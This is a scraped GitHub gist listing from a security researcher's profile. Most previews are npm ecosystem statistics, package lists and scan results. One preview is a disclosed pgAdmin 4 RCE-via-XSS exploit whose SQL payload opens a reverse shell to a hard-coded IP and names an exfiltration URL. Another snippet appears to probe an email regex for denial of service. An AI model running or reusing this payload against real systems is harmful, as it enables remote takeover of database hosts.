Skip to content

Instantly share code, notes, and snippets.

Adam Baldwin evilpacket

Block or report user

Report or block evilpacket

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:e9f1ee472628e64ba358996106861e07
4633514 - path
3569836 - fs
1646083 - util
1477850 - assert
896187 - events
820144 - buffer
766000 - child_process
642174 - http
534563 - url
424279 - crypto
@evilpacket
evilpacket / cmd_exec.js
Created Apr 16, 2017
pgAdmin 4 (1.3 and below) RCE via XSS
View cmd_exec.js
// select '<img src="x" onerror=$.getScript("http://127.0.0.1:8000/cmd_exec.js") />';
// multi-query payload for RCE
var queries = ['create language plpythonu','CREATE OR REPLACE FUNCTION pwn() RETURNS text\\nLANGUAGE plpythonu\\nAS $$\\nimport socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\\"162.242.167.28\\",4445))\\nos.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\na=subprocess.Popen([\\"/bin/sh\\",\\"-i\\"])\\nreturn \\"\\"\\n$$;\\n', 'select pwn()']
//queries = ['select current_user']
var exfil_url = 'http://requestb.in/16wy0z61'
View gist:55c16b0e3d9edc0fe1a114cc16c03e68
var fs = require('fs');
var JSONStream = require('jsonstream');
var infile = fs.createReadStream(__dirname + '/' + process.argv[2]);
var stream = JSONStream.parse(['rows', true, 'doc'])
infile.pipe(stream);
stream.on('data', function(data) {
View botbait results
{
"id": 7,
"created_at": "2015-06-23T21:04:11.995Z",
"process_versions": {
"http_parser": "1.0",
"node": "0.10.13",
"v8": "3.14.5.9",
"ares": "1.9.0-DEV",
"uv": "0.10.12",
"zlib": "1.2.3",
View Security placeholder packages 8-23-2016
2klic-api-engine
360-products
65710f05-a7c1-48d1-9ee5-acdfb7f70007
69d1a00e-7f6c-40a4-ab2e-70257bcd245c-es2015
AlertLogic
AutoFixture
Basic-Material-framework
Boilerpipe-Scraper
Coflux
CornerJob
View npm alternative url for module source
the counts for modules that have alternative url for the module (other than github or a regular package source)
220 blip.strongloop.com
135 packages.appdynamics.com
46 registry.npmjs.org
31 bitbucket.org
20 git.cobalt-engine.com
20 descinet.bbva.es
17 gitlab.hers.rs
11 appgyver-steroids.s3.amazonaws.com
View gist:6eeca8b06dc2f5c45549
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
r = /^([a-z0-9_\.\-\+])+\@(([a-z0-9\-])+\.)+([a-z0-9]{2,4})+$/
@evilpacket
evilpacket / gist:384ac23c2459014a254c
Created Sep 20, 2015
retirejs against npm Sept 19th 2015
View gist:384ac23c2459014a254c
Count by module / version
1006 YUI@3.3.0
850 YUI@3.4.1
823 jquery@1.8.3
797 jquery@1.7.1
796 jquery@1.7.2
750 YUI@3.0.0
244 jquery@1.8.1
240 jquery@1.8.2
@evilpacket
evilpacket / gist:984b344070a001e5c43f
Created Aug 26, 2015
Get list of modules from npm most depended page with jquery
View gist:984b344070a001e5c43f
//https://www.npmjs.com/browse/depended
var links = {};
$('div.container.content a').each(function() {
links[this.href.split('/package/')[1]] = 1
});
Object.keys(links).forEach(function(item) {
console.log(item)
})
View gist:37dda327ea39e075d555
07:38:52-adam_baldwin~/tmp$ nvm use 0.12.4
Now using node v0.12.4
07:38:56-adam_baldwin~/tmp$ npm i nsp -g
/Users/adam_baldwin/.nvm/versions/node/v0.12.4/bin/nsp -> /Users/adam_baldwin/.nvm/versions/node/v0.12.4/lib/node_modules/nsp/bin/nspCLI.js
nsp@1.0.3 /Users/adam_baldwin/.nvm/versions/node/v0.12.4/lib/node_modules/nsp
├── strscanner@0.0.8
├── node-print@0.0.4
├── nsp-api@1.0.3
├── text-table@0.2.0
├── async@0.9.2
You can’t perform that action at this time.